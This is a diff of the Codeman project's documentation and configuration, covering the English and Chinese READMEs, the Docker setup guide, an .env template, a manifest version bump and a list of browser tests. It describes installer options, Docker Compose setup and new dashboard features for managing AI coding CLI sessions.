(`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). ⚠️ Codeman Desktop drives it with no terminal (`--no-admin --progress --ai-cli <id>|none`, `install.sh preflight`, `install.sh agent <id>` to add one agent next to a running Codeman, `packages/desktop/src/gui_install.rs`): `cli_offerable` is the one rule for what can be installed, `preflight` stdout is JSON only, `agent` says `done` only when THAT agent landed, and the `progress_phase` order is pinned against `connect.html`, with `done` last. → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
Other key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh [quick|named] start|stop|status|url` (quick = random trycloudflare URL, default; `named setup|enable` = fixed-hostname tunnel via `scripts/codeman-tunnel-named.service`; bare `start|stop|url` still means quick), `scripts/run-beta.sh` (isolated beta instance), `scripts/build-agent-image.mjs` (docker base image), `scripts/self-update.sh` (detached updater). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
+15 -3
View File
@@ -17,6 +17,7 @@
<a href="https://github.com/Ark0N/Codeman/stargazers"><img src="https://img.shields.io/github/stars/Ark0N/Codeman?style=flat-square&color=eab308" alt="GitHub stars"></a>
<a href="https://github.com/Ark0N/Codeman/graphs/contributors"><img src="https://img.shields.io/github/contributors/Ark0N/Codeman?style=flat-square&color=3b82f6" alt="Contributors"></a>
<a href="https://github.com/Ark0N/Codeman/commits/master"><img src="https://img.shields.io/github/commit-activity/t/Ark0N/Codeman?style=flat-square&color=1e3a5f" alt="Total commits"></a>
<a href="https://github.com/NipunaRanasinghe/awesome-ai-agents"><img src="https://img.shields.io/badge/Featured_in-Awesome_AI_Agents-2ea44f?style=flat-square" alt="Featured in Awesome AI Agents"></a>
</p>
<p align="center">
@@ -68,6 +69,7 @@ This installs Node.js, tmux and a build toolchain if missing (node-pty ships no
- **How it's reachable, your choice.** **Tailscale** (loopback bind fronted by `tailscale serve`, so you get `https://<machine>.<tailnet>.ts.net` with a real certificate and your tailnet as the login, no password needed), **any device on your network** (`0.0.0.0`, with a strongly recommended password prompt), or **this machine only** (`127.0.0.1`, safest). Skipping the password on a network bind requires an explicit confirmation and ends with a loud warning. The highlighted default reflects what is already on the machine (Tailscale when it is already connected, your existing binding on a re-run), and a bare Enter never pulls in new software. If another app already owns `:443` on your node, Codeman goes under `https://<machine>.<tailnet>.ts.net/codeman` or on a second port instead of replacing it. A bare `codeman web` started by hand still defaults to loopback.
- **The name is yours to choose.** By default the URL uses the machine's existing tailnet name. Answering yes to the second question renames the machine to `codeman-<hostname>` (which also renames it for SSH, so the default is no); `install.sh name` does it later.
- **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh status` prints the URLs and the QR code again; `install.sh update`, `install.sh tailscale` and `install.sh uninstall` also exist.
- **No administrator rights needed.** On an account without `sudo`, one whose `sudo` rights the installer cannot confirm (outside the `sudo`, `wheel` and `admin` groups, with a password still required) or a Mac account that is not an administrator and has no Homebrew it can write to, the installer downloads Node.js from nodejs.org and the tmux project's own build into `~/.codeman/runtime`, each checked against its SHA-256, and takes the source as an archive when there is no working git. `--no-admin` forces that route and `CODEMAN_NO_ADMIN=0` turns it off. Two limits: Linux needs make, a C++ compiler and python3 to be there already, and the tmux download needs macOS 15 or newer. Details in the [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights).
- **Flags for the impatient.** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` answers the questions from the command line (`--lan`, `--local`, `--run`, `--no-start`, `--name <n>`, `--port <n>`, `--yes` too). **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently; set `CODEMAN_NONINTERACTIVE=1` to approve them for automation.
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), [OMP](https://github.com/can1357/oh-my-pi), or [GitHub Copilot CLI](https://github.com/github/copilot-cli) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the ten is present; if none is found, it offers to install any of them from a menu (DeepSeek excepted, since its npm package installs only a launcher with no runnable profile), or you can skip and install one yourself later. After install:
@@ -84,10 +86,17 @@ codeman users add alice --admin # create the first admin account
codeman web --multiuser # named logins + per-user case spaces
```
**Prefer Docker Compose?** A local-image Compose deployment ships in `docker/`: copy `docker/.env.example` to `docker/.env`, set `CODEMAN_PASSWORD`, then run `bash docker/Start-Codeman.sh` on Linux. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. After updating, run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for direct Compose commands, storage and networking options.
Details in [Multi-User Mode](#multi-user-mode-opt-in) below.
**Prefer Docker Compose?** Clone the repo and run one script (Linux, Docker with the Compose v2 plugin):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks three questions (data folder, port, password; Enter takes the default, including a generated password), writes `docker/.env` for you, builds the image and ends on the URL once Codeman answers. The image already includes Claude Code, Codex, Gemini CLI and OpenCode. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. To update, use **App Settings → Updates**, or `git pull` and run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for Unraid, direct Compose commands, storage and networking options.
<details>
<summary><strong>Keep it running in the background</strong></summary>
@@ -463,6 +472,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
- **Git status in the bottom bar** — off by default (**App Settings → Header & Panels → Bottom bar → Git status**, per device). A small indicator at the right of the bottom bar shows the active session's repository at a glance: `● 3` uncommitted files, `↑ 2` commits not pushed, `⚠` merge conflicts, `✓` all committed and pushed. Click it for a draggable window listing the staged, not-staged, untracked and conflicted files (grouped under collapsed folders, or as a flat list if you turn that setting off) and the unpushed commits; **click a file to see its diff** (new files as all additions, deleted files as all removals), with **Open file** to jump to the viewer. A folder that holds several projects gets one collapsible section per repository found up to two levels down, all collapsed until you open them. **Fetch** in that window's header runs `git fetch` for the repositories it lists, on your click or on an interval you turn on (**App Settings → Bottom bar**, off by default; **Session Options → Git** overrides both the switch and the interval per session). Sessions open on the same folder share one run and each sees its result. Apart from that fetch Codeman never fetches or changes the repo, so "behind" is as of the last fetch; not shown for Docker or remote sessions.
- **Clone a GitHub repo as a case** — paste a repository URL into **Add Case → Clone Repo** and Codeman clones it into `~/codeman-cases/<name>` and registers it as a normal case, ready to run an agent in. It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use. Public repositories over `https://`; Codeman never collects or stores credentials
- **Create a case in a custom folder** — tick **Create in a custom folder** in **Add Case → Create New**, pick a parent folder (Browse included) and a name, and Codeman scaffolds the new case there instead of `~/codeman-cases`. The target must be a new or empty folder; system directories, your home folder itself, credential trees such as `~/.ssh`, and Codeman's own data folder are refused. Admin only in multi-user mode.
- **Open a tmux session you started by hand**: a tmux session started outside Codeman shows up on the home screen, on this machine automatically and in your Docker cases' containers or on your saved SSH hosts when you scan for them. One click opens it as a tab. Closing the tab only detaches, and Codeman will not respawn or relaunch an agent it did not start. See [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman).
- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, **DeepSeek Harness**, **OMP**, or **GitHub Copilot CLI** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `DSH_*`/`DEEPSEEK_*` vs `OMP_*` vs `COPILOT_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md), [`docs/deepseek-integration.md`](docs/deepseek-integration.md) [`docs/omp-integration.md`](docs/omp-integration.md) and [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **Custom model endpoints** _(new in 1.29.0, HTTP API for now)_ — point a session's CLI at any OpenAI-compatible endpoint instead of its native backend: a local llama.cpp, llama-swap, Ollama or vLLM box, or a cloud gateway such as Azure AI Foundry or OpenRouter. Save an endpoint once (`POST /api/model-endpoints`; its models are discovered from `/v1/models`), apply it to a session (`POST /api/sessions/:id/custom-model`), and the CLI restarts in place on that endpoint. Verified live for Claude, OpenCode, Pi, Grok and OMP; Codex, Gemini and DeepSeek have documented gaps, Antigravity has no mechanism. A toolbar picker is the follow-up. See [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **Web tabs** — open Grafana, Uptime Kuma, a Vite dev server or any dashboard URL as a tab beside your sessions (Run dropdown → **Web / URL** → **Add URL**). Dashboards are proxied through Codeman's own origin, so an `http://` target works from a phone over HTTPS and through the tunnel, single-page apps route on their own paths, and a frame that reloads recovers itself. A `localhost` link an agent prints opens as a web tab automatically. See [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -479,6 +489,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
- **OSC 52 clipboard**: a program in a session that sets the clipboard with OSC 52 (Claude Code's `/copy`, a tmux yank, vim) puts the text on your browser's clipboard, in the main terminal and in every tile. Clipboard read requests are refused, and replaying a buffer never copies
- **MCP server sync** _(opt-in)_: copies the user-level MCP servers each installed CLI has (Claude, Codex, Gemini, OpenCode, Antigravity, and GitHub Copilot CLI) into the others' own config files. Additive only, a server you switched off is never copied, **Preview** shows the changes first, and the previous file is kept as `.codeman-bak`. App Settings → Agents & CLIs; admin only in multi-user mode
- **CJK / IME input** — full composition support for Chinese / Japanese / Korean, with Ctrl- and Alt-modified navigation keys passed through to the CLI
- **Discord bridge**: opt-in and two-way: Codeman posts to a private Discord server when an agent needs you, in a thread per tab with what is on its screen, and types your reply (and any file you attach) into that tab, so a blocked agent can be answered from your phone off-network. Agents can ask for you with `codeman notify`. Outbound connections only; least-privilege bot setup in [docs/discord-bridge.md](docs/discord-bridge.md). See the [wiki page](docs/wiki/Discord-Bridge.md)
- **Config backups** — timestamped copies of the files that hold your customization (settings, CLI overrides, custom endpoints, webhook, linked cases, remote and Docker hosts, saved dashboards and, in multi-user mode, accounts), made at startup and whenever one changes. On by default into `~/.codeman/backups/config`; the folder, how many to keep (2–500) and how long (days, 0 = no limit) are settings, with **Back up now** and a verified **Restore** in Settings → System. Retention only ever deletes folders Codeman made and never the newest. See the [wiki page](docs/wiki/Config-Backups.md)
- **Plan usage in the header** — live Claude subscription usage (the 5-hour and weekly windows) from a statusline exporter Codeman hands to `claude` at spawn and never writes into your settings files, plus Codex limits from its own app-server and the GitHub Copilot monthly premium-request quota (the server asks `api.github.com` for it every 10 minutes with Copilot's own sign-in token: on by default while Copilot CLI is installed and signed in, and turning off Plan Usage Limits stops it); per device, on for desktops and off for phones
- **Prompt-cache readout**: each Claude session shows whether its prompt cache is warm (`cache:until HH:MM`) or cold, in the footer (when you have no statusline of your own) and in Session Options → Respawn, with the cost of a re-cache and a note after a compaction. Display only; it survives a restart
@@ -514,7 +525,7 @@ Point a case at another machine and run the agent **there**, over SSH, with the
- **Discover & attach**: list the `codeman-*` sessions already running on a host (started by that machine's own Codeman, or by another operator) and attach to one. Attached sessions you don't own **detach on tab close, never kill**.
- **Shared sessions**: several clients can attach the same remote session at different window sizes without clamping each other; discovery shows a "shared" badge with the client count.
- **Injection-safe**: every ssh command line flows through a single shell-escaping builder, and host/path/identity fields are schema-guarded.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host apart from the diffs the Edit history panel keeps; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Full scrollback**: loading a remote session's history reads it from the remote tmux in one bounded ssh round trip, so a session keeps its whole scrollback after a reattach or a tab switch, with no rows lost where the history meets the live screen.
Set it up under **New Case → Remote** (host, user, identity file, optional jump host). Full design: [`docs/remote-sessions.md`](docs/remote-sessions.md).
@@ -975,6 +986,7 @@ codeman session list # list sessions
codeman session logs <id> # tail output
codeman task add "fix the failing test" # (t) queue a task
codeman attach <path> # show an attachment card for a local file
codeman notify "<message>" [--urgent] [--file <path>] # post to this tab's Discord thread (see the Discord bridge)
codeman tui --list # numbered session list (plain text when piped)
codeman tui 3 # attach to session 3 of that list
```
+12 -2
View File
@@ -21,6 +21,7 @@
<a href="https://github.com/Ark0N/Codeman/stargazers"><img src="https://img.shields.io/github/stars/Ark0N/Codeman?style=flat-square&color=eab308" alt="GitHub stars"></a>
<a href="https://github.com/Ark0N/Codeman/graphs/contributors"><img src="https://img.shields.io/github/contributors/Ark0N/Codeman?style=flat-square&color=3b82f6" alt="Contributors"></a>
<a href="https://github.com/Ark0N/Codeman/commits/master"><img src="https://img.shields.io/github/commit-activity/t/Ark0N/Codeman?style=flat-square&color=1e3a5f" alt="Total commits"></a>
<a href="https://github.com/NipunaRanasinghe/awesome-ai-agents"><img src="https://img.shields.io/badge/Featured_in-Awesome_AI_Agents-2ea44f?style=flat-square" alt="Featured in Awesome AI Agents"></a>
</p>
<p align="center">
@@ -70,6 +71,7 @@ curl -fsSL https://getcodeman.com/install | bash
- **怎么访问,由你决定。** 安装器提供三种到达仪表盘的方式:**Tailscale**(环回绑定,由 `tailscale serve` 代理,得到带真实证书的 `https://<机器名>.<tailnet>.ts.net`,用你的 tailnet 当登录,无需密码)、**局域网内任意设备**(`0.0.0.0`,会提示设置一个强烈推荐的密码),或**仅本机**(`127.0.0.1`,最安全)。绑定网络却跳过密码需要显式确认,并以醒目警告收尾。高亮的默认项反映机器上已有的状态(已在用 Tailscale 时默认 Tailscale,重跑时沿用现有绑定),直接回车绝不会引入新软件。如果你节点上的 `:443` 已被别的应用占用,Codeman 会改用 `https://<机器名>.<tailnet>.ts.net/codeman` 或第二个端口,而不是把它替换掉。手动运行的 `codeman web` 仍默认仅环回。
- **名字由你来定。** 默认情况下,URL 用的是这台机器在 tailnet 里现有的名字。第二个问题答「是」会把机器改名为 `codeman-<hostname>`(这也会改掉它在 SSH 里的名字,所以默认是「否」);之后也可以用 `install.sh name` 来改。
- **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装:`~/.codeman/app` 中的本地改动会被 stash(绝不丢弃),运行中的服务会自动重启并校验。若首次安装中途失败,重跑会继续完成完整的安装流程。`install.sh status` 会再次打印 URL 和二维码;另外还有 `install.sh update`、`install.sh tailscale` 和 `install.sh uninstall`。
- **无需管理员权限。** 在没有 `sudo` 的账户、安装器无法确认 `sudo` 权限的账户(不在 `sudo`、`wheel`、`admin` 组内,且 `sudo` 需要密码)或不是管理员、也没有可写入的 Homebrew 的 Mac 账户上,安装器会把 nodejs.org 的 Node.js 和 tmux 项目自己的构建下载到 `~/.codeman/runtime`,两者都会校验 SHA-256;没有可用的 git 时,则以归档包的方式获取源码。`--no-admin` 强制走这条路线,`CODEMAN_NO_ADMIN=0` 则将其关闭。两个限制:Linux 上必须已有 make、C++ 编译器和 python3,tmux 下载需要 macOS 15 或更新版本。详见 [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights)。
- **给急性子的参数。** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` 直接在命令行上回答这些问题(还有 `--lan`、`--local`、`--run`、`--no-start`、`--name <n>`、`--port <n>`、`--yes`)。**CI / 无终端环境:** 没有终端时,涉及系统改动的步骤会带着说明中止,而不是静默执行;在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。
你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness)、[OMP](https://github.com/can1357/oh-my-pi) 或 [GitHub Copilot CLI](https://github.com/github/copilot-cli)(任意组合均可;自 Google 面向消费者停售后,Gemini CLI 仅限企业版,Antigravity 是其继任者)。安装器会自动检测这十个中已安装的任意一个;若一个都没有,会给出一个菜单让你安装其中任意一个(DeepSeek 除外,它的 npm 包只装一个启动器,没有可运行的 profile),也可以选择跳过、稍后自行安装。安装完成后:
@@ -86,7 +88,14 @@ codeman users add alice --admin # 创建第一个管理员账号
codeman web --multiuser # 命名登录 + 按用户隔离的案例空间
```
**更喜欢 Docker Compose?** `docker/` 里附带一套本地镜像的 Compose 部署:把 `docker/.env.example` 复制为 `docker/.env`,设置 `CODEMAN_PASSWORD`,然后在 Linux 上运行 `bash docker/Start-Codeman.sh`。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新之后请再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
**更喜欢 Docker Compose?** 克隆仓库,运行一个脚本即可(Linux,需要 Docker 和 Compose v2 插件):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
首次运行会问三个问题(数据目录、端口、密码;回车即采用默认值,包括自动生成的密码),替你写好 `docker/.env`,构建镜像,并在 Codeman 响应后给出访问地址。镜像已内置 Claude Code、Codex、Gemini CLI 和 OpenCode。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新时请使用 **App Settings → Updates**,或者先 `git pull` 再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。Unraid、直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
详见下文[多用户模式](#多用户模式可选启用)。
@@ -465,6 +474,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **底栏里的 Git 状态**:默认关闭(**App Settings → Header & Panels → Bottom bar → Git status**,按设备生效)。底栏右侧的一个小指示器让你一眼看清当前会话所在仓库的状态:`● 3` 表示未提交的文件,`↑ 2` 表示未推送的提交,`⚠` 表示合并冲突,`✓` 表示全部已提交并推送。点击它会打开一个可拖动的窗口,列出已暂存、未暂存、未跟踪和有冲突的文件(按折叠的文件夹分组,关掉该设置则显示为平铺列表)以及未推送的提交;**点击文件即可查看它的 diff**(新文件全部显示为新增,已删除的文件全部显示为删除),**Open file** 可直接跳到查看器。一个包含多个项目的文件夹,会为向下两层内找到的每个仓库各给一个可折叠分区,打开之前全部折叠。只读且离线(Codeman 绝不 fetch,也绝不改动仓库);Docker 和远程会话不显示
- **把 GitHub 仓库克隆成 case** —— 在 **Add Case → Clone Repo** 里粘贴一个仓库 URL,Codeman 会把它克隆到 `~/codeman-cases/<name>` 并注册为普通 case,随时可以跑智能体。输入时它会预检 URL(告诉你能否匿名克隆,并为可选的分支/标签字段提供仓库真实的分支与标签),从 URL 里填好 case 名,还让你选 Run 按钮该用哪个 CLI。支持 `https://` 的公开仓库;Codeman 绝不收集或保存凭据
- **在自定义文件夹里创建 case**:在 **Add Case → Create New** 里勾选 **Create in a custom folder**,选一个父文件夹(可用 Browse 浏览)和一个名字,Codeman 就会在那里而不是 `~/codeman-cases` 里搭建新 case。目标必须是一个新的或空的文件夹;系统目录、你的主目录本身、`~/.ssh` 这类凭据目录,以及 Codeman 自己的数据目录都会被拒绝。多用户模式下仅管理员可用
- **打开你手动启动的 tmux 会话**:在 Codeman 之外启动的 tmux 会话会出现在主屏幕上:本机的会自动列出,Docker case 容器内和已保存 SSH 主机上的会在你扫描时列出。点一下即可作为标签页打开。关闭标签页只会分离,Codeman 不会重生或重启并非由它启动的智能体。详见 [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman)。
- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode**、**Codex**、**Antigravity**、**Gemini**、**Pi**、**Grok**、**DeepSeek Harness**、**OMP** 或 **GitHub Copilot CLI**;环境变量前缀自动隔离(`CLAUDE_CODE_*`、`OPENCODE_*`、`CODEX_*`、`ANTIGRAVITY_*`、`GEMINI_*`/`GOOGLE_*`、`PI_*`、`GROK_*`/`XAI_*`、`DSH_*`/`DEEPSEEK_*`、`OMP_*` 与 `COPILOT_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)、[`docs/pi-integration.md`](docs/pi-integration.md)、[`docs/grok-integration.md`](docs/grok-integration.md)、[`docs/deepseek-integration.md`](docs/deepseek-integration.md)、[`docs/omp-integration.md`](docs/omp-integration.md) 与 [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **自定义模型端点**(1.29.0 新增,目前仅 HTTP API)—— 让某个会话的 CLI 指向任意 OpenAI 兼容端点,而不是它自己的官方后端:本地的 llama.cpp、llama-swap、Ollama 或 vLLM 机器,也可以是 Azure AI Foundry、OpenRouter 这类云端网关。端点只需保存一次(`POST /api/model-endpoints`,模型列表从它的 `/v1/models` 自动发现),再应用到会话(`POST /api/sessions/:id/custom-model`),CLI 就会在原地重启并接上该端点。Claude、OpenCode、Pi、Grok 与 OMP 已实测通过;Codex、Gemini 与 DeepSeek 存在已记录的缺口,Antigravity 没有可用机制。工具栏选择器是下一步。详见 [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **Web 标签页** —— 把 Grafana、Uptime Kuma、一个 Vite 开发服务器或任何仪表盘 URL 作为标签页打开在会话旁边(Run 下拉菜单 → **Web / URL** → **Add URL**)。仪表盘通过 Codeman 自己的源代理,因此 `http://` 目标在手机上走 HTTPS 也能用、走隧道也能用;单页应用能在自己的路径上正常路由,页面自己重载后也能自行恢复。智能体打印出的 `localhost` 链接会自动以 Web 标签页打开。详见 [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -515,7 +525,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **发现与附着**:列出主机上已在运行的 `codeman-*` 会话(由那台机器自己的 Codeman 或其他操作者启动)并附着其一。非你所有的已附着会话在关闭标签时**只分离,绝不杀掉**。
- **共享会话**:多个客户端可以以不同窗口尺寸同时附着同一个远程会话而互不挤压;发现列表会显示带客户端计数的「shared」徽标。
- **注入安全**:所有 ssh 命令行都经由单一的 shell 转义构建器生成,主机/路径/身份文件字段均有模式校验。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。除了 Edit history 面板保存的差异之外,什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **完整的回滚历史**:加载远程会话的历史时,会通过一次有上限的 ssh 往返直接从远程 tmux 读取,所以重新附着或切换标签之后,会话依然保有完整的回滚缓冲区,历史与实时屏幕衔接处也不会丢行。
在 **New Case → Remote** 中配置(主机、用户、身份文件、可选跳板机)。完整设计:[`docs/remote-sessions.md`](docs/remote-sessions.md)。
+2 -2
View File
@@ -3,7 +3,7 @@
"name": "io.github.Ark0N/codeman",
"title": "Codeman",
"description": "Start, prompt and read AI coding agent sessions (Claude Code, Codex, Gemini CLI and more) in Codeman",
"version": "1.46.0",
"version": "1.49.0",
"websiteUrl": "https://getcodeman.com",
"repository": {
"url": "https://github.com/Ark0N/Codeman",
@@ -13,7 +13,7 @@
{
"registryType": "npm",
"identifier": "aicodeman",
"version": "1.46.0",
"version": "1.49.0",
"transport": {
"type": "stdio"
},
+5
View File
@@ -19,6 +19,7 @@
* why these are a runnable suite (`npm run test:browser`) rather than skipped.
*/
export const BROWSER_TEST_GLOBS = [
'test/wrapped-file-paths.browser.test.ts',
'test/command-palette-agent-arrows.browser.test.ts',
'test/tmux-capture-sgr.browser.test.ts',
'test/tab-rail-resize.browser.test.ts',
@@ -28,6 +29,7 @@ export const BROWSER_TEST_GLOBS = [
'test/tab-focus.browser.test.ts',
'test/session-sidebar-ux.browser.test.ts',
'test/header-divider.browser.test.ts',
'test/tab-strip-corner.browser.test.ts',
'test/header-host-sensors.browser.test.ts',
'test/session-options-responsive.browser.test.ts',
'test/inline-rename.test.ts',
@@ -48,6 +50,7 @@ export const BROWSER_TEST_GLOBS = [
'test/case-custom-path.browser.test.ts',
'test/doctor-settings.browser.test.ts',
'test/git-status.browser.test.ts',
'test/edit-history.browser.test.ts',
'test/split-pane-orchestration.browser.test.ts',
'test/split-pane-auto-collapse.browser.test.ts',
'test/spreadsheet-preview.browser.test.ts',
@@ -56,6 +59,8 @@ export const BROWSER_TEST_GLOBS = [
'test/markdown-anchor-links.browser.test.ts',
'test/fullscreen-tab-switch-capture.browser.test.ts',
'test/terminal-touch-swipe-axis.browser.test.ts',
'test/phone-press-feedback.browser.test.ts',
'test/desktop-connect-page.browser.test.ts', // no server: the page is served by request interception
];
/**
+10 -3
View File
@@ -1,9 +1,14 @@
# =============================================================================
# Codeman Docker Compose environment template
# Copy this file to .env and set the values for the Docker host.
#
# Usually there is no need to copy this by hand: on its first run,
# `bash docker/Start-Codeman.sh` writes docker/.env from this file, asking for
# the data folder, port and password and filling in this host's time zone.
# Copy it yourself (to docker/.env) only for a hand-built setup, such as a host
# where everything runs as root (Unraid) or Compose started without the script.
# =============================================================================
TZ=Australia/Perth
TZ=Etc/UTC
# Optional overrides for direct `docker compose` use. The Bash start script
# detects these values from CODEMAN_APPDATA_PATH automatically. Compose uses
@@ -23,7 +28,8 @@ CODEMAN_RUNTIME_USER=codeman
# Required. Persistent Codeman application data, CLI credentials, and session
# state are stored here on the host and mounted at the runtime account's home
# directory in the container.
# directory in the container. The value below is the Unraid layout; the first
# run of Start-Codeman.sh suggests ~/codeman-docker instead.
CODEMAN_APPDATA_PATH=/mnt/user/appdata/codeman
# Optional. Absolute host path of this Codeman checkout, mounted at
@@ -45,6 +51,7 @@ CODEMAN_IMAGE=codeman:local
# Required for any network-accessible Codeman instance. Use a unique, strong
# password. This file is safe to commit; copy it to .env and set the value.
# Start-Codeman.sh refuses to start while it is still `changeme`.
CODEMAN_PASSWORD=changeme
# Required. Username for Codeman HTTP Basic authentication.
+31 -2
View File
@@ -4,7 +4,36 @@ This folder contains the Compose configuration, server image Dockerfile, and env
## Start
From the repository root, create the runtime environment file and set the required values, especially `CODEMAN_PASSWORD`.
From a fresh clone, on Linux:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks that Docker, the Compose v2 plugin (2.27.2 or newer) and the daemon are usable, naming the fix when one is not. It then asks three questions, and Enter takes the default for each:
| Question | Default |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Data folder | `~/codeman-docker`. It becomes the container's home: Codeman's state, CLI logins, and the `codeman-cases` folder for projects. |
| Port | 3000, or the next free port when something on the machine already uses 3000. |
| Password | A generated 24-character password, shown on your terminal and kept in `docker/.env`. |
It writes `docker/.env` from `.env.example` (readable only by you, with this host's time zone filled in), builds the image, starts the container, waits until Codeman answers, and prints the URL to open, the address for other devices on your network, and the commands for logs and stopping. The first build takes a few minutes.
Your account has to be able to use Docker without sudo. If it cannot, the script says so: run `sudo usermod -aG docker $USER`, then log out and back in. The first run refuses to set up as root, because Codeman's data folder must belong to a normal account.
| Option | Effect |
| -------------- | --------------------------------------------------------------------------------------------------------- |
| `--yes`, `-y` | Take every default without asking. This also happens when no terminal is attached. |
| `--setup-only` | Write `docker/.env` and stop, so you can review it (or add the optional settings below) before the build. |
| `--no-wait` | Start the container without waiting for Codeman to answer. |
On a first run, `CODEMAN_APPDATA_PATH`, `CODEMAN_PORT` and `CODEMAN_PASSWORD` set in the environment replace the defaults, a different answer typed at the question still wins, and a preset password skips its question. A password the script generates is only ever shown on a terminal: when the output is captured (a log, a pipe), read it from `docker/.env`. Every later run reads `docker/.env` as it is, asks nothing and never edits it, except that Compose prefers a variable exported in your shell over the file. Change a value by editing the file and running the script again. The script refuses to start while `CODEMAN_PASSWORD` is still the example's `changeme`, because the container is reachable from your network and controls Docker on the host.
### Setting it up by hand
Hosts where everything runs as root (Unraid), and Compose run without the script, take a hand-written `.env` instead. From the repository root, copy the template and set the required values, especially `CODEMAN_PASSWORD` and a `CODEMAN_APPDATA_PATH` owned by an unprivileged account:
```sh
cp docker/.env.example docker/.env
@@ -198,7 +227,7 @@ volumes:
target: /home/${CODEMAN_RUNTIME_USER}
```
